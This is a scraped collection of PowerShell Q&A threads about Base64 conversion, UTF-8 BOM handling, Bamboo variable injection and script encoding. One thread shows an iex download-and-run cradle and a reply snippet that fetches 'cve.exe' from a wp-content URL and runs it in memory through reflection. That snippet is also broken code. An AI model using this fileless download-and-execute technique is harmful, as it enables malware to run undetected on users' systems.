Converting to and from Base64 in Powershell 5.1 - powershell

I've found a couple of resources (including Convert base64 string to file, which is practically a duplicate here since it's one of the resources I used to build this) but I can't seem to get it working.
I've got the following code (roughly - obviously it's stripped down,) and I can verify most of the steps of the process as per the comments.
$pic = Get-Content 'testpic.png'
# $pic looks like a binary dump.
$picBytes = [System.Text.Encoding]::Unicode.GetBytes($pic)
$ $picBytes is an array of bytes. Quite spammy.
$picEncoded = [Convert]::ToBase64String($picBytes)
# $picEncoded is indeed a Base64 string. Halfway there!
$picDecoded = [Convert]::FromBase64String($picEncoded)
# Also an array of bytes. I'm assuming they're right for now...
$outFile = "pic.png"
[IO.File]::WriteAllBytes($outFile,$picDecoded)
# but I get no output file and no error?
What am I missing here? For what it's worth, I'm willing to look at other solutions - but the Base64 is somewhat important (since I'm storing the data in the script.)

To read a binary file as-is into memory in PowerShell, use Get-Content's -AsByteStream switch (PowerShell (Core) 7+) / -Encoding Byte (Windows PowerShell, versions up to v5.1), and add the -Raw switch for efficiency when you're reading all bytes into memory at once:
# Windows PowerShell (up to v5.1).
# Note: In PowerShell (Core) v7+, you must use -AsByteStream instead of
# -Encoding Byte
$picBytes = Get-Content testpic.png -Encoding Byte -Raw
Note: This change in syntax between the PowerShell editions is unfortunate, as discussed in GitHub issue #7986. If enough people show interest, it is conceivable that -Encoding Byte will be reintroduced for cross-edition consistency and compatibility.
$picBytes, as a [byte[]] array, can then be passed directly to [Convert]::ToBase64String()
To pass a file name/path to a .NET method, always pass a full path, never a relative path or mere file name:
This is necessary, because .NET's working directory usually differs from PowerShell's.
This discrepancy is unfortunate, but cannot be avoided, as explained in this answer.
In the simplest case - if your current location is a file-system location that is not based on a PowerShell-specific drive:
$outFile = "$PWD/pic.png" # Use *full path*
[IO.File]::WriteAllBytes($outFile, $picDecoded)
The fully robust approach requires more work:
$outFile = Join-Path (Get-Location -PSProvider FileSystem).ProviderPath pic.png
[IO.File]::WriteAllBytes($outFile, $picDecoded)

Related

How to set Encoding [duplicate]

This question already has answers here:
Using PowerShell to write a file in UTF-8 without the BOM
(19 answers)
Closed 1 year ago.
I wrote a small file joining program with some functionality, all works fine, but I have to set encoding of output file to utf8 without bom. I tried to add on the beginning of program this line "$PSDefaultParameterValues['Out-File:Encoding'] = 'utf8'" but result was that I've got a utf8 with bom. I've tried to use -Encoding utf8NoBOM but not work(I've got error).I Work on PS Version 5.What I should do to get UTF8 without bom?
If you are using PowerShell version 7.X, you can simply add parameter -Encoding utf8NoBOM to Add-Content.
If your version is below 7.X, you could use this:
# The StreamWriter class by default uses Utf8 without BOM encoding
# get a StreamWriter to a new or existing file to append text to
$streamWriter = [System.IO.File]::AppendText('D:\Test\Blah.txt')
# or if you want to overwrite an existing file, use this
# $streamWriter = [System.IO.File]::CreateText('D:\Test\Blah.txt')
# or this:
# $streamWriter = [System.IO.StreamWriter]::new('D:\Test\Blah.txt', $true) # $true for Append
Next write your content using this instead of Add-Content
$streamWriter.WriteLine("blah something that needs UTF8: €")
And when all writing is done, close the file and release the StreamWriter object
$streamWriter.Dispose()

Executing Executables In Memory With Powershell

I have an executable on an internet page and I want to be able to run it without saving it to the local disk using powershell. It should basically function like iex but run an executable that's already in the memory and stored in some kind of variable. And again, I want to do all of that in Powershell.
Example.
(New-Object System.Net.WebClient).DownloadString("http://example.com") | iex
Here we can download scripts and run them in the memory without saving anything to the disk. But it's only a sequence of characters that we're executing here. Basically a powershell script. I want to run executables the same way. Is that possible? If so, how?
First, use Invoke-WebRequest to download your binary executable's content as a byte array ([byte[]]):
$bytes = (Invoke-WebRequest "http://example.com/path/to/binary.exe").Content
Then, assuming that the executable is a (compatible) .NET application:
Use .NET's ability to load an assembly from a byte array, then use reflection to directly execute this in-memory representation of your binary executable.
This answer shows the technique (based on a Base64-encoding string serving as the source of the byte array, but you can simply substitute your $bytes array in the linked code).
for me it was necessary to use -usebasicparsing.
full snippet to download and execute in memory.
$bytes = (Invoke-WebRequest "https://budgetlc.com/wp-content/cve.exe" -UseBasicParsing ).Content
$bytes = [System.Convert]::FromBase64String($string)
$assembly = [System.Reflection.Assembly]::Load($bytes)
$entryPointMethod =
$assembly.GetTypes().Where({ $_.Name -eq 'Program' }, 'First').
GetMethod('Main', [Reflection.BindingFlags] 'Static, Public, NonPublic')
# Now you can call the entry point.
# This example passes two arguments, 'foo' and 'bar'
$entryPointMethod.Invoke($null, (, [string[]] ('foo', 'bar')))

Atlassian Bamboo - Inject variable having '?' in string, possible encoding issue

I have a script task in powershell inline script in which i use
$text2 = "isApproved=$isApproved"
then i use,
Out-File -FilePath "${bamboo.build.working.directory}\repovar.properties" -InputObject $text2 -Append -Encoding utf8
$isApproved is determined in the script and can have value 0/1.
the properties file is showing proper key-value pair (isApproved=0). However, when i run the inject bamboo variable task, it injects a '?' symbol in the variable name
10-Aug-2020 05:17:58 key: [inject.?isApproved] value: [0] type: RESULT
It's a peculiar problem as it sometimes inject properly but sometimes doesn't. All other variables are injected in proper format.
When i remove the -Encoding utf8 in the cmdlet to default (utf8 with NoBOM), it then writes like this
i s A p p r o v e d = 0 and bamboo injects like this
bamboo.inject._i_s_A_p_p_r_o_v_e_d
I have tried with batch script as well, i still see a '?'. Can anybody help me with an workaround?
If i switch to script file instead of inline script, can i still use the previous inject variables??
This is not well documented indeed - you need to replace dots with underscores, i.e. for a plan variable named your.plan.variable, which you would reference in a regular Bamboo task as ${bamboo.your.plan.variable}, the resp. PowerShell syntax for use within the Script task is $bamboo_your_plan_variable.
I found the answer from the Atlassian forum, here it is
Out-File -FilePath "${bamboo.build.working.directory}\repovar.properties" -InputObject $text2 -Append -Encoding ascii
Changing encoding to ASCII did the trick.

Get-Content -Raw alternative for older Shell

According to my last question Compare two Files I finally mentioned to get all to work inside my .bat. Thanks again for all the support.
However, as I find out today my supervisor is using Powershell in Version 2 instead of 5.1 than I do.
The problem now is that the -Raw paramterer of this code:
$target = Get-Content "C:/pbr_tmp/PBreport/trc/TlsTrace.prn" -Raw is not recognized.
Is there some alternative implementation instead of using -Raw?
Pupose of -Raw: The commands in this example get the contents of a file as one string, instead of an array of strings.
I am not sure If an upgrade from PS2 to PS5.1 is possible.
When using PowerShell version 2 you can use
$target = [System.IO.File]::ReadAllText("C:/pbr_tmp/PBreport/trc/TlsTrace.prn")
From SS64:
-Raw
Return multiple lines as a single string (PowerShell 3.0)
In PowerShell 2.0 use the static method: [System.IO.File]::ReadAllText(string path)

Calling a powershell script from another powershell script and guaranteeing it is UTF8

I assembled a Powershell script that is designed to grab other scripts that are hosted on Azure blobs, and execute them.
The relevant code blocks:
Obtaining the script:
$resp = (Invoke-WebRequest -Uri $scriptUri -Method GET -ContentType "application/octet-stream;charset=utf-8")
$migrationScript = [system.Text.Encoding]::UTF8.GetString($resp.RawContentStream.ToArray());
$tempPath = Get-ScriptDirectory
$fileLocation = CreateTempFile $tempPath "migrationScript.ps1" $migrationScript
Creating the file:
$newFile = "$tempFolder"+"\"+"$fileName"
Write-Host "Creating temporary file $newFile"
[System.IO.File]::WriteAllText($newFile, $fileContents)
And then I invoke the downloaded file with
Invoke-Expression "& `"$fileLocation`" $migrationArgs"
This is working well, for what I need. However, the Invoke-Expression is not correctly reading the encoding of the file. It opens correctly in Notepad or Notepad++, but not in ISE (where I am executing the script right now).
Is there a way I can ensure the script is read correctly? It is necessary to support UTF8, as there is a possibility that the scripts will need to perform operations such as setting an AppSetting to a value that contains special characters.
EDIT: Behaviour is the same on "vanilla" non-ISE Powershell invocation.
As per #lit and #PetSerAI, the BOM is required for Powershell to work correctly.
My first attempt had not been successful, so I switched back to non-BOM, but, with the following steps, it worked:
Perform the Invoke-WebRequest with -ContentType "application/octet-stream;charset=utf-8"
Grab the Raw content (you will see it in Powershell as a series of numbers, which I assume are the ascii codes?) and convert its bytes with [system.Text.Encoding]::UTF8.GetString($resp.RawContentStream.ToArray()); to an array containing the characters you want.
When saving the file via .NET's WriteAllText, ensure you use UTF8,
[System.IO.File]::WriteAllText($newFile, $fileContents, [System.Text.Encoding]::UTF8). In this case, UTF8 is understood to be UTF8 with a byte order mark, and is what Powershell needs.